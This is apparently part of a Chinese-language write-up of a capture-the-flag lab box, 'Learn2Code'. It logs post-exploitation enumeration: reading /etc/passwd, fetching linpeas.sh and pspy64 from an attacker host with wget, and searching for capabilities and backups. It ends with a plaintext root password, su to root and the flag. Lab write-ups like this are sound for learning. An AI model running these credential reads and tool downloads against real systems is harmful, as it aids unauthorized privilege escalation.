learner@Learn2Code:/run$ cd ..
learner@Learn2Code:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
learner:x:1000:1000:learner,,,:/home/learner:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
learner@Learn2Code:/$ cat /etc/shadow
cat: /etc/shadow: Permission denied
learner@Learn2Code:/$ cd /tmp
learner@Learn2Code:/tmp$ ls -la
total 8
drwxrwxrwt  2 root root 4096 Apr 20 05:08 .
drwxr-xr-x 18 root root 4096 Sep 28  2020 ..
learner@Learn2Code:/tmp$ wget http://192.168.0.143:8888/linpeas.sh
--2024-04-20 07:25:25--  http://192.168.0.143:8888/linpeas.sh
Connecting to 192.168.0.143:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                            100%[=========================================================================>] 840.38K  --.-KB/s    in 0.03s   

2024-04-20 07:25:25 (30.3 MB/s) - 'linpeas.sh' saved [860549/860549]

learner@Learn2Code:/tmp$ chmod +x linpeas.sh

运行linpeas.sh，没发现啥，再传一个pspy64上去：

learner@Learn2Code:/tmp$ wget http://192.168.0.143:8888/pspy64 
--2024-04-20 07:30:22--  http://192.168.0.143:8888/pspy64
Connecting to 192.168.0.143:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4468984 (4.3M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                                100%[=========================================================================>]   4.26M  --.-KB/s    in 0.1s    

2024-04-20 07:30:22 (43.0 MB/s) - 'pspy64' saved [4468984/4468984]

learner@Learn2Code:/tmp$ chmod +x pspy64
learner@Learn2Code:/tmp$ ./pspy64

等了半天没动静，看来不是这方面的了。。

learner@Learn2Code:/tmp$ cd /home/learner/
learner@Learn2Code:/home/learner$ ls -la
total 44
dr-x------ 2 learner learner  4096 Sep 28  2020 .
drwxr-xr-x 3 root    root     4096 Sep 28  2020 ..
lrwxrwxrwx 1 root    root        9 Sep 28  2020 .bash_history -> /dev/null
-rw-r--r-- 1 learner learner   220 Sep 28  2020 .bash_logout
-rw-r--r-- 1 learner learner  3526 Sep 28  2020 .bashrc
-rw-r--r-- 1 learner learner   807 Sep 28  2020 .profile
-r-x------ 1 learner learner 16608 Sep 28  2020 MySecretPasswordVault
-r-------- 1 learner learner    14 Sep 28  2020 user.txt
learner@Learn2Code:/home/learner$ ./MySecretPasswordVault 
If you are a learner, i'm sure you know what to do with me.
learner@Learn2Code:/home/learner$ id     
uid=1000(learner) gid=33(www-data) groups=33(www-data)
learner@Learn2Code:/home/learner$ ss -tnlup
Netid            State             Recv-Q            Send-Q                       Local Address:Port                       Peer Address:Port            
udp              UNCONN            0                 0                                  0.0.0.0:68                              0.0.0.0:*               
tcp              LISTEN            0                 128                                      *:80                                    *:*  
learner@Learn2Code:/home/learner$ cd /tmp
learner@Learn2Code:/tmp$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep

还搜集到了：

learner@Learn2Code:/var$ cd backups/
learner@Learn2Code:/var/backups$ ls -la
total 764
drwxr-xr-x  2 root root     4096 Apr 20 03:09 .
drwxr-xr-x 12 root root     4096 Sep 28  2020 ..
-rw-r--r--  1 root root    40960 Sep 28  2020 alternatives.tar.0
-rw-r--r--  1 root root    10163 Sep 28  2020 apt.extended_states.0
-rw-r--r--  1 root root      186 Sep 28  2020 dpkg.diversions.0
-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.1.gz
-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.2.gz
-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.3.gz
-rw-r--r--  1 root root      172 Sep 28  2020 dpkg.statoverride.0
-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.1.gz
-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.2.gz
-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.3.gz
-rw-r--r--  1 root root   361448 Sep 28  2020 dpkg.status.0
-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.1.gz
-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.2.gz
-rw-r--r--  1 root root   100612 Sep 28  2020 dpkg.status.3.gz
-rw-------  1 root root      785 Sep 28  2020 group.bak
-rw-------  1 root shadow    665 Sep 28  2020 gshadow.bak
-rw-------  1 root root     1443 Sep 28  2020 passwd.bak
-rw-------  1 root shadow    951 Sep 28  2020 shadow.bak

还有：

learner@Learn2Code:/tmp$ find / -name *ass -type f 2>/dev/null
/proc/sys/net/ipv6/conf/all/ndisc_tclass
/proc/sys/net/ipv6/conf/default/ndisc_tclass
/proc/sys/net/ipv6/conf/enp0s3/ndisc_tclass
/proc/sys/net/ipv6/conf/lo/ndisc_tclass
/etc/apparmor.d/abstractions/smbpass
/usr/share/bash-completion/completions/mmsitepass
/sys/devices/pci0000:00/0000:00:0d.0/class
/sys/devices/pci0000:00/0000:00:0d.0/ata3/link3/dev3.0/ata_device/dev3.0/class
/sys/devices/pci0000:00/0000:00:01.0/class
/sys/devices/pci0000:00/0000:00:04.0/class
/sys/devices/pci0000:00/0000:00:07.0/class
/sys/devices/pci0000:00/0000:00:00.0/class
/sys/devices/pci0000:00/0000:00:03.0/class
/sys/devices/pci0000:00/0000:00:03.0/net/enp0s3/queues/tx-0/traffic_class
/sys/devices/pci0000:00/0000:00:01.1/ata1/link1/dev1.1/ata_device/dev1.1/class
/sys/devices/pci0000:00/0000:00:01.1/ata1/link1/dev1.0/ata_device/dev1.0/class
/sys/devices/pci0000:00/0000:00:01.1/class
/sys/devices/pci0000:00/0000:00:01.1/ata2/link2/dev2.0/ata_device/dev2.0/class
/sys/devices/pci0000:00/0000:00:01.1/ata2/link2/dev2.1/ata_device/dev2.1/class
/sys/devices/pci0000:00/0000:00:06.0/usb1/bDeviceClass
/sys/devices/pci0000:00/0000:00:06.0/usb1/1-1/bDeviceClass
/sys/devices/pci0000:00/0000:00:06.0/usb1/1-1/bDeviceSubClass
/sys/devices/pci0000:00/0000:00:06.0/usb1/1-1/1-1:1.0/bInterfaceSubClass
/sys/devices/pci0000:00/0000:00:06.0/usb1/1-1/1-1:1.0/bInterfaceClass
/sys/devices/pci0000:00/0000:00:06.0/usb1/bDeviceSubClass
/sys/devices/pci0000:00/0000:00:06.0/usb1/1-0:1.0/bInterfaceSubClass
/sys/devices/pci0000:00/0000:00:06.0/usb1/1-0:1.0/bInterfaceClass
/sys/devices/pci0000:00/0000:00:06.0/class
/sys/devices/pci0000:00/0000:00:02.0/class
/sys/devices/pci0000:00/0000:00:05.0/class
/sys/devices/pci0000:00/0000:00:05.0/sound/card0/pcmC0D1c/pcm_class
/sys/devices/pci0000:00/0000:00:05.0/sound/card0/pcmC0D0c/pcm_class
/sys/devices/pci0000:00/0000:00:05.0/sound/card0/pcmC0D0p/pcm_class
/sys/devices/system/cpu/vulnerabilities/spec_store_bypass
/sys/devices/virtual/net/lo/queues/tx-0/traffic_class
learner@Learn2Code:/tmp$ cat /sys/devices/system/cpu/vulnerabilities/spec_store_bypass
Vulnerable
╔══════════╣ Checking sudo tokens
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens
ptrace protection is disabled (0), so sudo tokens could be abused

emmm后来，群主找到了解法，正是上面跳过去的一步。。。。

image-20240420234438401

密码正是

NOI98hOIhj)(Jj

所以：

learner@Learn2Code:/home/learner$ su root
Password: 
root@Learn2Code:/home/learner# cd /root
root@Learn2Code:~# ls -la
total 24
drwx------  3 root root 4096 Sep 28  2020 .
drwxr-xr-x 18 root root 4096 Sep 28  2020 ..
lrwxrwxrwx  1 root root    9 Sep 28  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Sep 28  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   13 Sep 28  2020 root.txt
root@Learn2Code:~# cat root.txt 
Y0uG0TitbR0!

闹了个大乌龙，找了半天哈哈哈。

感谢Eriman师傅、群主师傅、rpj7师傅以及🐭🐭师傅（名字按照字母排序），没有你们我真做不出来，爱死你们了！

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